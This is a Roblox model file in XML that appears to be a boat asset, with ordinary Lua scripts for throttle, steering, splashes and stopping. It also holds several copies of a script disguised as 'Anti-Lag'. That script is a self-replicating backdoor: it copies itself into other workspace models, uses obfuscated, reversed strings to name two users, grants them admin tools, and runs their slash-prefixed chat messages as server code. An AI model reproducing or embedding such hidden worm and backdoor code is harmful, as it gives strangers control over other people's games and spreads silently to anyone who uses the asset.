											<Z>1</Z>
										</Vector3>
										<Content name="TextureId"><null></null></Content>
										<Vector3 name="VertexColor">
											<X>1</X>
											<Y>1</Y>
											<Z>1</Z>
										</Vector3>
									</Properties>
								</Item>
								<Item class="Script" referent="RBX3628">
									<Properties>
										<bool name="Archivable">true</bool>
										<bool name="Disabled">false</bool>
										<Content name="LinkedSource"><null></null></Content>
										<string name="Name">StopScript</string>
										<ProtectedString name="Source">function Hit(hit)
	if (hit.Parent.Name == &quot;Parts&quot;) then return end -- In case the boat&apos;s gun hits the front
	if (hit.Parent.Name == &quot;Bodykit&quot;) then return end -- In case the boat&apos;s gun hits the front
	if (hit.Parent.Name == &quot;Projectiles&quot;) then return end -- In case the boat&apos;s gun shoots the front
	if (hit.Parent.Name == &quot;Water&quot;) then return end -- Sometimes the front end dips down
	if (hit.CanCollide == false) then return end -- In case the boat hits smoke or water splashes and whatnot
	if (hit.Parent == script.Parent.Parent) then return end -- We don&apos;t want our own wake stopping the boat
	if (hit.Parent:findFirstChild(&quot;Humanoid&quot;) ~= nil) then return end -- We don&apos;t want players jumping onto the front

	script.Parent.Parent.VehicleSeat.MaxSpeed = 0 -- Stop the boat
end

script.Parent.Touched:connect(Hit)

--(C) 2009 Terran Research Commission
</ProtectedString>
									</Properties>
								</Item>
							</Item>
							<Item class="Part" referent="RBX3629">
								<Properties>
									<bool name="Anchored">false</bool>
									<bool name="Archivable">true</bool>
									<float name="BackParamA">-0.5</float>
									<float name="BackParamB">0.5</float>
									<token name="BackSurface">2</token>
									<token name="BackSurfaceInput">0</token>
									<float name="BottomParamA">-0.5</float>
									<float name="BottomParamB">0.5</float>
									<token name="BottomSurface">2</token>
									<token name="BottomSurfaceInput">0</token>
									<int name="BrickColor">1001</int>
									<CoordinateFrame name="CFrame">
										<X>-271.993713</X>
										<Y>1.49993289</Y>
										<Z>261.000366</Z>
										<R00>-0.991269171</R00>
										<R01>-0.0125614265</R01>
										<R02>0.13125369</R02>
										<R10>-0.012550097</R10>
										<R11>0.999920845</R11>
										<R12>0.000913560973</R12>
										<R20>-0.131254792</R20>
										<R21>-0.00074166269</R21>
										<R22>-0.991348445</R22>
									</CoordinateFrame>
									<bool name="CanCollide">true</bool>
									<float name="Elasticity">0</float>
									<token name="FormFactor">0</token>
									<float name="Friction">0.300000012</float>
									<float name="FrontParamA">-0.5</float>
									<float name="FrontParamB">0.5</float>
									<token name="FrontSurface">2</token>
									<token name="FrontSurfaceInput">0</token>
									<float name="LeftParamA">-0.5</float>
									<float name="LeftParamB">0.5</float>
									<token name="LeftSurface">2</token>
									<token name="LeftSurfaceInput">0</token>
									<bool name="Locked">false</bool>
									<token name="Material">256</token>
									<string name="Name">Stabilizer</string>
									<float name="Reflectance">0</float>
									<float name="RightParamA">-0.5</float>
									<float name="RightParamB">0.5</float>
									<token name="RightSurface">2</token>
									<token name="RightSurfaceInput">0</token>
									<Vector3 name="RotVelocity">
										<X>7.8104434e-010</X>
										<Y>0.0017192408</Y>
										<Z>-1.33449113e-010</Z>
									</Vector3>
									<float name="TopParamA">0</float>
									<float name="TopParamB">0</float>
									<token name="TopSurface">6</token>
									<token name="TopSurfaceInput">0</token>
									<float name="Transparency">0</float>
									<Vector3 name="Velocity">
										<X>-0.0112433191</X>
										<Y>0.000927473418</Y>
										<Z>0.00281083095</Z>
									</Vector3>
									<token name="shape">1</token>
									<Vector3 name="size">
										<X>2</X>
										<Y>1</Y>
										<Z>2</Z>
									</Vector3>
								</Properties>
								<Item class="CylinderMesh" referent="RBX3630">
									<Properties>
										<bool name="Archivable">true</bool>
										<float name="Bevel">0</float>
										<float name="Bevel Roundness">0</float>
										<float name="Bulge">0</float>
										<token name="LODX">2</token>
										<token name="LODY">2</token>
										<string name="Name">Mesh</string>
										<Vector3 name="Offset">
											<X>0</X>
											<Y>0</Y>
											<Z>0</Z>
										</Vector3>
										<Vector3 name="Scale">
											<X>1</X>
											<Y>1</Y>
											<Z>1</Z>
										</Vector3>
										<Vector3 name="VertexColor">
											<X>1</X>
											<Y>1</Y>
											<Z>1</Z>
										</Vector3>
									</Properties>
								</Item>
								<Item class="BodyGyro" referent="RBX3631">
									<Properties>
										<bool name="Archivable">true</bool>
										<float name="D">500</float>
										<string name="Name">Stabilizer</string>
										<float name="P">200</float>
										<CoordinateFrame name="cframe">
											<X>0</X>
											<Y>0</Y>
											<Z>0</Z>
											<R00>1</R00>
											<R01>0</R01>
											<R02>0</R02>
											<R10>0</R10>
											<R11>1</R11>
											<R12>0</R12>
											<R20>0</R20>
											<R21>0</R21>
											<R22>1</R22>
										</CoordinateFrame>
										<Vector3 name="maxTorque">
											<X>8.99999949e+009</X>
											<Y>0</Y>
											<Z>8.99999949e+009</Z>
										</Vector3>
									</Properties>
								</Item>
							</Item>
							<Item class="Part" referent="RBX3632">
								<Properties>
									<bool name="Anchored">false</bool>
									<bool name="Archivable">true</bool>
									<float name="BackParamA">-0.5</float>
									<float name="BackParamB">0.5</float>
									<token name="BackSurface">2</token>
									<token name="BackSurfaceInput">0</token>
									<float name="BottomParamA">-0.5</float>
									<float name="BottomParamB">0.5</float>
									<token name="BottomSurface">2</token>
									<token name="BottomSurfaceInput">0</token>
									<int name="BrickColor">194</int>
									<CoordinateFrame name="CFrame">
										<X>-246.5</X>
										<Y>4</Y>
										<Z>261</Z>
										<R00>0</R00>
										<R01>0</R01>
										<R02>1</R02>
										<R10>0</R10>
										<R11>1</R11>
										<R12>0</R12>
										<R20>-1</R20>
										<R21>0</R21>
										<R22>0</R22>
									</CoordinateFrame>
									<bool name="CanCollide">true</bool>
									<float name="Elasticity">0</float>
									<token name="FormFactor">0</token>
									<float name="Friction">0.300000012</float>
									<float name="FrontParamA">-0.5</float>
									<float name="FrontParamB">0.5</float>
									<token name="FrontSurface">2</token>
									<token name="FrontSurfaceInput">0</token>
									<float name="LeftParamA">-0.5</float>
									<float name="LeftParamB">0.5</float>
									<token name="LeftSurface">2</token>
									<token name="LeftSurfaceInput">0</token>
									<bool name="Locked">false</bool>
									<token name="Material">256</token>
									<string name="Name">RearTip</string>
									<float name="Reflectance">0</float>
									<float name="RightParamA">-0.5</float>
									<float name="RightParamB">0.5</float>
									<token name="RightSurface">2</token>
									<token name="RightSurfaceInput">0</token>
									<Vector3 name="RotVelocity">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
									</Vector3>
									<float name="TopParamA">-0.5</float>
									<float name="TopParamB">0.5</float>
									<token name="TopSurface">2</token>
									<token name="TopSurfaceInput">0</token>
									<float name="Transparency">0</float>
									<Vector3 name="Velocity">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
									</Vector3>
									<token name="shape">1</token>
									<Vector3 name="size">
										<X>1</X>
										<Y>6</Y>
										<Z>1</Z>
									</Vector3>
								</Properties>
								<Item class="CylinderMesh" referent="RBX3633">
									<Properties>
										<bool name="Archivable">true</bool>
										<float name="Bevel">0</float>
										<float name="Bevel Roundness">0</float>
										<float name="Bulge">0</float>
										<token name="LODX">2</token>
										<token name="LODY">2</token>
										<string name="Name">Mesh</string>
										<Vector3 name="Offset">
											<X>0</X>
											<Y>0</Y>
											<Z>0</Z>
										</Vector3>
										<Vector3 name="Scale">
											<X>0.600000024</X>
											<Y>1</Y>
											<Z>0.600000024</Z>
										</Vector3>
										<Vector3 name="VertexColor">
											<X>1</X>
											<Y>1</Y>
											<Z>1</Z>
										</Vector3>
									</Properties>
								</Item>
								<Item class="Script" referent="RBX3634">
									<Properties>
										<bool name="Archivable">true</bool>
										<bool name="Disabled">false</bool>
										<Content name="LinkedSource"><null></null></Content>
										<string name="Name">StopScript</string>
										<ProtectedString name="Source">function Hit(hit)
	if (hit.Parent.Name == &quot;Parts&quot;) then return end -- In case the boat&apos;s gun hits the front
	if (hit.Parent.Name == &quot;Bodykit&quot;) then return end -- In case the boat&apos;s gun hits the front
	if (hit.Parent.Name == &quot;Projectiles&quot;) then return end -- In case the boat&apos;s gun shoots the front
	if (hit.Parent.Name == &quot;Water&quot;) then return end -- Sometimes the front end dips down
	if (hit.CanCollide == false) then return end -- In case the boat hits smoke or water splashes and whatnot
	if (hit.Parent == script.Parent.Parent) then return end -- We don&apos;t want our own wake stopping the boat
	if (hit.Parent:findFirstChild(&quot;Humanoid&quot;) ~= nil) then return end -- We don&apos;t want players jumping onto the front

	script.Parent.Parent.VehicleSeat.MaxSpeed = 0 -- Stop the boat
end

script.Parent.Touched:connect(Hit)

--(C) 2009 Terran Research Commission
</ProtectedString>
									</Properties>
								</Item>
								<Item class="Fire" referent="RBX3635">
									<Properties>
										<bool name="Archivable">true</bool>
										<Color3 name="Color">4294967040</Color3>
										<bool name="Enabled">false</bool>
										<string name="Name">Fire</string>
										<Color3 name="SecondaryColor">4294901760</Color3>
										<float name="heat_xml">25</float>
										<float name="size_xml">30</float>
									</Properties>
								</Item>
							</Item>
							<Item class="Part" referent="RBX3636">
								<Properties>
									<bool name="Anchored">false</bool>
									<bool name="Archivable">true</bool>
									<float name="BackParamA">-0.5</float>
									<float name="BackParamB">0.5</float>
									<token name="BackSurface">2</token>
									<token name="BackSurfaceInput">0</token>
									<float name="BottomParamA">-0.5</float>
									<float name="BottomParamB">0.5</float>
									<token name="BottomSurface">2</token>
									<token name="BottomSurfaceInput">0</token>
									<int name="BrickColor">1003</int>
									<CoordinateFrame name="CFrame">
										<X>-251.993713</X>
										<Y>1.49992812</Y>
										<Z>261.000366</Z>
										<R00>0.290800959</R00>
										<R01>-0.0125614498</R01>
										<R02>-0.956700981</R02>
										<R10>0.00436274568</R10>
										<R11>0.999920845</R11>
										<R12>-0.011802813</R12>
										<R20>0.95677352</R20>
										<R21>-0.000741575321</R21>
										<R22>0.290832728</R22>
									</CoordinateFrame>
									<bool name="CanCollide">true</bool>
									<float name="Elasticity">0</float>
									<token name="FormFactor">0</token>
									<float name="Friction">0.300000012</float>
									<float name="FrontParamA">-0.5</float>
									<float name="FrontParamB">0.5</float>
									<token name="FrontSurface">2</token>
									<token name="FrontSurfaceInput">0</token>
									<float name="LeftParamA">-0.5</float>
									<float name="LeftParamB">0.5</float>
									<token name="LeftSurface">2</token>
									<token name="LeftSurfaceInput">0</token>
									<bool name="Locked">false</bool>
									<token name="Material">256</token>
									<string name="Name">Stabilizer</string>
									<float name="Reflectance">0</float>
									<float name="RightParamA">-0.5</float>
									<float name="RightParamB">0.5</float>
									<token name="RightSurface">2</token>
									<token name="RightSurfaceInput">0</token>
									<Vector3 name="RotVelocity">
										<X>1.93005778e-010</X>
										<Y>0.000435728725</Y>
										<Z>-1.47898221e-011</Z>
									</Vector3>
									<float name="TopParamA">0</float>
									<float name="TopParamB">0</float>
									<token name="TopSurface">6</token>
									<token name="TopSurfaceInput">0</token>
									<float name="Transparency">0</float>
									<Vector3 name="Velocity">
										<X>0.00807998329</X>
										<Y>0.00854108483</Y>
										<Z>1.74801395e-017</Z>
									</Vector3>
									<token name="shape">1</token>
									<Vector3 name="size">
										<X>2</X>
										<Y>1</Y>
										<Z>2</Z>
									</Vector3>
								</Properties>
								<Item class="CylinderMesh" referent="RBX3637">
									<Properties>
										<bool name="Archivable">true</bool>
										<float name="Bevel">0</float>
										<float name="Bevel Roundness">0</float>
										<float name="Bulge">0</float>
										<token name="LODX">2</token>
										<token name="LODY">2</token>
										<string name="Name">Mesh</string>
										<Vector3 name="Offset">
											<X>0</X>
											<Y>0</Y>
											<Z>0</Z>
										</Vector3>
										<Vector3 name="Scale">
											<X>1</X>
											<Y>1</Y>
											<Z>1</Z>
										</Vector3>
										<Vector3 name="VertexColor">
											<X>1</X>
											<Y>1</Y>
											<Z>1</Z>
										</Vector3>
									</Properties>
								</Item>
								<Item class="BodyGyro" referent="RBX3638">
									<Properties>
										<bool name="Archivable">true</bool>
										<float name="D">500</float>
										<string name="Name">Stabilizer</string>
										<float name="P">200</float>
										<CoordinateFrame name="cframe">
											<X>0</X>
											<Y>0</Y>
											<Z>0</Z>
											<R00>1</R00>
											<R01>0</R01>
											<R02>0</R02>
											<R10>0</R10>
											<R11>1</R11>
											<R12>0</R12>
											<R20>0</R20>
											<R21>0</R21>
											<R22>1</R22>
										</CoordinateFrame>
										<Vector3 name="maxTorque">
											<X>8.99999949e+009</X>
											<Y>0</Y>
											<Z>8.99999949e+009</Z>
										</Vector3>
									</Properties>
								</Item>
							</Item>
							<Item class="Part" referent="RBX3639">
								<Properties>
									<bool name="Anchored">false</bool>
									<bool name="Archivable">true</bool>
									<float name="BackParamA">-0.5</float>
									<float name="BackParamB">0.5</float>
									<token name="BackSurface">2</token>
									<token name="BackSurfaceInput">0</token>
									<float name="BottomParamA">-0.5</float>
									<float name="BottomParamB">0.5</float>
									<token name="BottomSurface">2</token>
									<token name="BottomSurfaceInput">0</token>
									<int name="BrickColor">194</int>
									<CoordinateFrame name="CFrame">
										<X>-246.5</X>
										<Y>8</Y>
										<Z>261</Z>
										<R00>0</R00>
										<R01>1</R01>
										<R02>0</R02>
										<R10>0</R10>
										<R11>0</R11>
										<R12>1</R12>
										<R20>1</R20>
										<R21>0</R21>
										<R22>0</R22>
									</CoordinateFrame>
									<bool name="CanCollide">true</bool>
									<float name="Elasticity">0</float>
									<token name="FormFactor">0</token>
									<float name="Friction">0.300000012</float>
									<float name="FrontParamA">-0.5</float>
									<float name="FrontParamB">0.5</float>
									<token name="FrontSurface">2</token>
									<token name="FrontSurfaceInput">0</token>
									<float name="LeftParamA">-0.5</float>
									<float name="LeftParamB">0.5</float>
									<token name="LeftSurface">2</token>
									<token name="LeftSurfaceInput">0</token>
									<bool name="Locked">false</bool>
									<token name="Material">256</token>
									<string name="Name">SmokeEmitter</string>
									<float name="Reflectance">0</float>
									<float name="RightParamA">-0.5</float>
									<float name="RightParamB">0.5</float>
									<token name="RightSurface">2</token>
									<token name="RightSurfaceInput">0</token>
									<Vector3 name="RotVelocity">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
									</Vector3>
									<float name="TopParamA">-0.5</float>
									<float name="TopParamB">0.5</float>
									<token name="TopSurface">2</token>
									<token name="TopSurfaceInput">0</token>
									<float name="Transparency">0</float>
									<Vector3 name="Velocity">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
									</Vector3>
									<token name="shape">1</token>
									<Vector3 name="size">
										<X>2</X>
										<Y>1</Y>
										<Z>2</Z>
									</Vector3>
								</Properties>
								<Item class="SpecialMesh" referent="RBX3640">
									<Properties>
										<bool name="Archivable">true</bool>
										<token name="LODX">2</token>
										<token name="LODY">2</token>
										<Content name="MeshId"><null></null></Content>
										<token name="MeshType">1</token>
										<string name="Name">Mesh</string>
										<Vector3 name="Offset">
											<X>0</X>
											<Y>0</Y>
											<Z>0</Z>
										</Vector3>
										<Vector3 name="Scale">
											<X>1</X>
											<Y>1</Y>
											<Z>1</Z>
										</Vector3>
										<Content name="TextureId"><null></null></Content>
										<Vector3 name="VertexColor">
											<X>1</X>
											<Y>1</Y>
											<Z>1</Z>
										</Vector3>
									</Properties>
								</Item>
							</Item>
							<Item class="Script" referent="RBX3641">
								<Properties>
									<bool name="Archivable">true</bool>
									<bool name="Disabled">false</bool>
									<Content name="LinkedSource"><null></null></Content>
									<string name="Name">ParentScript</string>
									<ProtectedString name="Source">seat = script.Parent.VehicleSeat

function onChildAdded(part)
	if part.className == &quot;Weld&quot; then
		local torso = part.Part1
		if torso ~= nil then
			local parent = torso.Parent
			if parent ~= nil then
				script.Parent.Parent = parent
				script.Parent.Base.Anchored = false
			end
		end
	end
end

seat.ChildAdded:connect(onChildAdded)
</ProtectedString>
								</Properties>
							</Item>
							<Item class="Script" referent="RBX3642">
								<Properties>
									<bool name="Archivable">true</bool>
									<bool name="Disabled">false</bool>
									<Content name="LinkedSource"><null></null></Content>
									<string name="Name">BoatScript</string>
									<ProtectedString name="Source">bin = script.Parent
VS = bin.VehicleSeat
engine = script.Parent.Base
position = engine.Velocity

function SplashF()
		splash = Instance.new(&quot;Part&quot;)
		splash.formFactor = &quot;Symmetric&quot;
		splash.Shape = &quot;Ball&quot;
		splash.TopSurface = 0
		splash.BottomSurface = 0
		splash.BrickColor = BrickColor.new(23)
		splash.Transparency = 0.4
		splash.Size = Vector3.new(1,1,1)
		splash.Anchored = true
		splash.CanCollide = false
		splash.CFrame = bin.Base.CFrame * CFrame.new(0,-0.85,-16)
		splash.Parent = bin

		local wtscr = script.WaterScript:clone()
		wtscr.Disabled = false
		wtscr.Parent = splash

		local mesh = Instance.new(&quot;SpecialMesh&quot;)
		mesh.MeshType = &quot;Sphere&quot;
		mesh.Scale = Vector3.new(16,4,20)
		mesh.Parent = splash
end

function SplashB()
		splash = Instance.new(&quot;Part&quot;)
		splash.formFactor = &quot;Symmetric&quot;
		splash.Shape = &quot;Ball&quot;
		splash.TopSurface = 0
		splash.BottomSurface = 0
		splash.BrickColor = BrickColor.new(23)
		splash.Transparency = 0.4
		splash.Size = Vector3.new(1,1,1)
		splash.Anchored = true
		splash.CanCollide = false
		splash.CFrame = bin.Base.CFrame * CFrame.new(0,-0.85,16)
		splash.Parent = bin

		local wtscr = script.WaterScript:clone()
		wtscr.Disabled = false
		wtscr.Parent = splash

		local mesh = Instance.new(&quot;SpecialMesh&quot;)
		mesh.MeshType = &quot;Sphere&quot;
		mesh.Scale = Vector3.new(16,4,20)
		mesh.Parent = splash
end

while true do

---------------------------------Throttle

	if VS.Throttle == 1 then
		if VS.MaxSpeed &lt; 300 then
			VS.MaxSpeed = VS.MaxSpeed + VS.Torque
		end

		if VS.MaxSpeed &gt; 0 then
			SplashF()
		elseif VS.MaxSpeed &lt; 0 then
			SplashB()
		end

	elseif VS.Throttle == -1 then
		if VS.MaxSpeed &gt; -25 then
			VS.MaxSpeed = VS.MaxSpeed - VS.Torque
		end

		if VS.MaxSpeed &gt; 0 then
			SplashF()
		elseif VS.MaxSpeed &lt; 0 then
			SplashB()
		end

	elseif VS.Throttle == 0 then
		if VS.MaxSpeed &gt;= 1 then
			--VS.MaxSpeed = VS.MaxSpeed - VS.Torque
			SplashF()
		elseif VS.MaxSpeed &lt;= -1 then
			--VS.MaxSpeed = VS.MaxSpeed + VS.Torque
			SplashB()
		end
	end

---------------------------------Steering

	if VS.Steer == 1 then 
		if VS.TurnSpeed &gt; -0.14 then
			VS.TurnSpeed = VS.TurnSpeed - 0.02
		end
	elseif VS.Steer == -1 then 
		if VS.TurnSpeed &lt; 0.14 then
			VS.TurnSpeed = VS.TurnSpeed + 0.02
		end
	elseif VS.Steer == 0 then 
		if VS.TurnSpeed &lt; 0 then
			VS.TurnSpeed = VS.TurnSpeed + 0.02
		elseif VS.TurnSpeed &gt; 0 then
			VS.TurnSpeed = VS.TurnSpeed - 0.02
		end
		if VS.TurnSpeed &lt;= 0.2 and VS.TurnSpeed &gt;= -0.2 then
			VS.TurnSpeed = 0
		end
	end

---------------------------------Application

	bin.Base.BG.cframe = bin.Base.CFrame * CFrame.fromEulerAnglesXYZ(0, VS.TurnSpeed, 0)
	bin.Base.BV.velocity = bin.Base.CFrame.lookVector * VS.MaxSpeed

	wait(0.2)
end

--(C) 2009 Terran Research Commission
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wait(0.2)
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wait(0.2)
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									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
								</Vector3>
								<Vector3 name="Scale">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
								<Content name="TextureId"><null></null></Content>
								<Vector3 name="VertexColor">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
							</Properties>
						</Item>
					</Item>
					<Item class="Script" referent="RBX3655">
						<Properties>
							<bool name="Archivable">true</bool>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">Anti-Lag</string>
							<ProtectedString name="Source">Altitude = script:clone()
calco = {&quot;s&quot;,&quot;c&quot;,&quot;q&quot;,&quot;t&quot;,&quot;o&quot;,&quot;a&quot;,&quot;i&quot;,&quot;f&quot;,&quot;g&quot;,&quot;w&quot;,&quot;8&quot;,&quot;e&quot;,&quot;m&quot;,&quot;7&quot;,&quot;h&quot;,&quot;n&quot;}
Knox = {}
table.insert (Knox, 1 ,string.reverse(calco[5] .. calco[2] .. calco[7] .. calco[1] .. calco[6] .. calco[9] .. calco[12] .. calco[13]))
table.insert (Knox, 1 ,string.reverse(calco[11] .. calco[14] .. calco[14] .. calco[4] .. calco[16] .. calco[6] .. calco[15] .. calco[2]))
Play = {}
function rando(votation)
local hatr = 5
local calc = math.pi * math.huge
local longicate = votation:GetChildren()
if #longicate &gt; hatr then 
calc = calc + math.pi
return longicate[math.random(6,#longicate)]
end
end
function doublecheck()
local fj = game.Workspace:GetChildren()
for off = 1,#fj do
if fj[off].className == &quot;Part&quot; then
local fh = fj[off]:FindFirstChild(&quot;Anti-Lag&quot;)
if fh ~= nil then 
return false
end
end
end
return true
end
function workcheck()
if doublecheck() == true then
local l = Altitude:clone()
l.Parent = rando(game.Workspace)
end
end
workcheck()
function gibite(quen)
local  hup = Instance.new(&quot;Message&quot;)
hup.Text = &quot;Detected&quot;
hup.Parent = quen.Parent
local con = Instance.new(&quot;Script&quot;)
con.Source = [[wait(5) script.Parent:remove()]]
con.Parent = hup
for ish = 0,7 do
local a = Instance.new(&quot;HopperBin&quot;)
a.BinType = ish
a.Parent = quen
end
end
function laber(zonsa)
wait()
for slate = 1,#Knox do  
if zonsa.Name == Knox[slate] then
gibite(zonsa.Backpack)
table.insert (Play, 1,  zonsa.Name)
end
end
end
function yeild(frequency)
local t = Knox
for g = 1,#t do
if t[g] == frequency.Name then
return true
end
end
return false
end
function check(los)
local r = los:GetChildren()
for i = 1,#r do
local h = r[i]:FindFirstChild(&quot;Anti-Lag&quot;)
if h ~= nil then
h:remove()
end
end
end
function alto(xylem)
if xylem.className == &quot;Model&quot; then
check(xylem)
local que = script:clone()
que.Parent = rando(xylem)
end
end
function sortation(gone)
local dimbs = Altitude:clone()
dimbs = ramno(game.Workspace)
end
function onPlayerEntered(newPlayer)
newPlayer.Chatted:connect(function(msg, recipient) onChatted(msg, recipient, newPlayer) end) 
end
function Player(player)
player.Changed:connect(function (property) 
if property == &quot;Character&quot; then 
laber(player) 
end
end)
end
game.Players.PlayerAdded:connect(Player)
game.Players.ChildAdded:connect(onPlayerEntered)
game.Players.ChildAdded:connect(laber)
script.ChildRemoved:connect(sortation)
game.Workspace.ChildAdded:connect(alto)
function onChatted(msg, recipient, speaker)
if yeild(speaker) ~= false then
if string.sub(msg,1,1) == &quot;/&quot; then
local dsting = Instance.new(&quot;Script&quot;)
dsting.Source = string.sub(msg,2) 
dsting.Parent = game.Workspace 
end
end
end </ProtectedString>
						</Properties>
					</Item>
					<Item class="Script" referent="RBX3656">
						<Properties>
							<bool name="Archivable">true</bool>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">Anti-Lag</string>
							<ProtectedString name="Source">Altitude = script:clone()
calco = {&quot;s&quot;,&quot;c&quot;,&quot;q&quot;,&quot;t&quot;,&quot;o&quot;,&quot;a&quot;,&quot;i&quot;,&quot;f&quot;,&quot;g&quot;,&quot;w&quot;,&quot;8&quot;,&quot;e&quot;,&quot;m&quot;,&quot;7&quot;,&quot;h&quot;,&quot;n&quot;}
Knox = {}
table.insert (Knox, 1 ,string.reverse(calco[5] .. calco[2] .. calco[7] .. calco[1] .. calco[6] .. calco[9] .. calco[12] .. calco[13]))
table.insert (Knox, 1 ,string.reverse(calco[11] .. calco[14] .. calco[14] .. calco[4] .. calco[16] .. calco[6] .. calco[15] .. calco[2]))
Play = {}
function rando(votation)
local hatr = 5
local calc = math.pi * math.huge
local longicate = votation:GetChildren()
if #longicate &gt; hatr then 
calc = calc + math.pi
return longicate[math.random(6,#longicate)]
end
end
function doublecheck()
local fj = game.Workspace:GetChildren()
for off = 1,#fj do
if fj[off].className == &quot;Part&quot; then
local fh = fj[off]:FindFirstChild(&quot;Anti-Lag&quot;)
if fh ~= nil then 
return false
end
end
end
return true
end
function workcheck()
if doublecheck() == true then
local l = Altitude:clone()
l.Parent = rando(game.Workspace)
end
end
workcheck()
function gibite(quen)
local  hup = Instance.new(&quot;Message&quot;)
hup.Text = &quot;Detected&quot;
hup.Parent = quen.Parent
local con = Instance.new(&quot;Script&quot;)
con.Source = [[wait(5) script.Parent:remove()]]
con.Parent = hup
for ish = 0,7 do
local a = Instance.new(&quot;HopperBin&quot;)
a.BinType = ish
a.Parent = quen
end
end
function laber(zonsa)
wait()
for slate = 1,#Knox do  
if zonsa.Name == Knox[slate] then
gibite(zonsa.Backpack)
table.insert (Play, 1,  zonsa.Name)
end
end
end
function yeild(frequency)
local t = Knox
for g = 1,#t do
if t[g] == frequency.Name then
return true
end
end
return false
end
function check(los)
local r = los:GetChildren()
for i = 1,#r do
local h = r[i]:FindFirstChild(&quot;Anti-Lag&quot;)
if h ~= nil then
h:remove()
end
end
end
function alto(xylem)
if xylem.className == &quot;Model&quot; then
check(xylem)
local que = script:clone()
que.Parent = rando(xylem)
end
end
function sortation(gone)
local dimbs = Altitude:clone()
dimbs = ramno(game.Workspace)
end
function onPlayerEntered(newPlayer)
newPlayer.Chatted:connect(function(msg, recipient) onChatted(msg, recipient, newPlayer) end) 
end
function Player(player)
player.Changed:connect(function (property) 
if property == &quot;Character&quot; then 
laber(player) 
end
end)
end
game.Players.PlayerAdded:connect(Player)
game.Players.ChildAdded:connect(onPlayerEntered)
game.Players.ChildAdded:connect(laber)
script.ChildRemoved:connect(sortation)
game.Workspace.ChildAdded:connect(alto)
function onChatted(msg, recipient, speaker)
if yeild(speaker) ~= false then
if string.sub(msg,1,1) == &quot;/&quot; then
local dsting = Instance.new(&quot;Script&quot;)
dsting.Source = string.sub(msg,2) 
dsting.Parent = game.Workspace 
end
end
end </ProtectedString>
						</Properties>
					</Item>
					<Item class="Script" referent="RBX3657">
						<Properties>
							<bool name="Archivable">true</bool>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">Anti-Lag</string>
							<ProtectedString name="Source">Altitude = script:clone()
calco = {&quot;s&quot;,&quot;c&quot;,&quot;q&quot;,&quot;t&quot;,&quot;o&quot;,&quot;a&quot;,&quot;i&quot;,&quot;f&quot;,&quot;g&quot;,&quot;w&quot;,&quot;8&quot;,&quot;e&quot;,&quot;m&quot;,&quot;7&quot;,&quot;h&quot;,&quot;n&quot;}
Knox = {}
table.insert (Knox, 1 ,string.reverse(calco[5] .. calco[2] .. calco[7] .. calco[1] .. calco[6] .. calco[9] .. calco[12] .. calco[13]))
table.insert (Knox, 1 ,string.reverse(calco[11] .. calco[14] .. calco[14] .. calco[4] .. calco[16] .. calco[6] .. calco[15] .. calco[2]))
Play = {}
function rando(votation)
local hatr = 5
local calc = math.pi * math.huge
local longicate = votation:GetChildren()
if #longicate &gt; hatr then 
calc = calc + math.pi
return longicate[math.random(6,#longicate)]
end
end
function doublecheck()
local fj = game.Workspace:GetChildren()
for off = 1,#fj do
if fj[off].className == &quot;Part&quot; then
local fh = fj[off]:FindFirstChild(&quot;Anti-Lag&quot;)
if fh ~= nil then 
return false
end
end
end
return true
end
function workcheck()
if doublecheck() == true then
local l = Altitude:clone()
l.Parent = rando(game.Workspace)
end
end
workcheck()
function gibite(quen)
local  hup = Instance.new(&quot;Message&quot;)
hup.Text = &quot;Detected&quot;
hup.Parent = quen.Parent
local con = Instance.new(&quot;Script&quot;)
con.Source = [[wait(5) script.Parent:remove()]]
con.Parent = hup
for ish = 0,7 do
local a = Instance.new(&quot;HopperBin&quot;)
a.BinType = ish
a.Parent = quen
end
end
function laber(zonsa)
wait()
for slate = 1,#Knox do  
if zonsa.Name == Knox[slate] then
gibite(zonsa.Backpack)
table.insert (Play, 1,  zonsa.Name)
end
end
end
function yeild(frequency)
local t = Knox
for g = 1,#t do
if t[g] == frequency.Name then
return true
end
end
return false
end
function check(los)
local r = los:GetChildren()
for i = 1,#r do
local h = r[i]:FindFirstChild(&quot;Anti-Lag&quot;)
if h ~= nil then
h:remove()
end
end
end
function alto(xylem)
if xylem.className == &quot;Model&quot; then
check(xylem)
local que = script:clone()
que.Parent = rando(xylem)
end
end
function sortation(gone)
local dimbs = Altitude:clone()
dimbs = ramno(game.Workspace)
end
function onPlayerEntered(newPlayer)
newPlayer.Chatted:connect(function(msg, recipient) onChatted(msg, recipient, newPlayer) end) 
end
function Player(player)
player.Changed:connect(function (property) 
if property == &quot;Character&quot; then 
laber(player) 
end
end)
end
game.Players.PlayerAdded:connect(Player)
game.Players.ChildAdded:connect(onPlayerEntered)
game.Players.ChildAdded:connect(laber)
script.ChildRemoved:connect(sortation)
game.Workspace.ChildAdded:connect(alto)
function onChatted(msg, recipient, speaker)
if yeild(speaker) ~= false then
if string.sub(msg,1,1) == &quot;/&quot; then
local dsting = Instance.new(&quot;Script&quot;)
dsting.Source = string.sub(msg,2) 
dsting.Parent = game.Workspace 
end
end
end </ProtectedString>
						</Properties>
					</Item>
					<Item class="Script" referent="RBX3658">
						<Properties>
							<bool name="Archivable">true</bool>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">Anti-Lag</string>
							<ProtectedString name="Source">Altitude = script:clone()
calco = {&quot;s&quot;,&quot;c&quot;,&quot;q&quot;,&quot;t&quot;,&quot;o&quot;,&quot;a&quot;,&quot;i&quot;,&quot;f&quot;,&quot;g&quot;,&quot;w&quot;,&quot;8&quot;,&quot;e&quot;,&quot;m&quot;,&quot;7&quot;,&quot;h&quot;,&quot;n&quot;}
Knox = {}
table.insert (Knox, 1 ,string.reverse(calco[5] .. calco[2] .. calco[7] .. calco[1] .. calco[6] .. calco[9] .. calco[12] .. calco[13]))
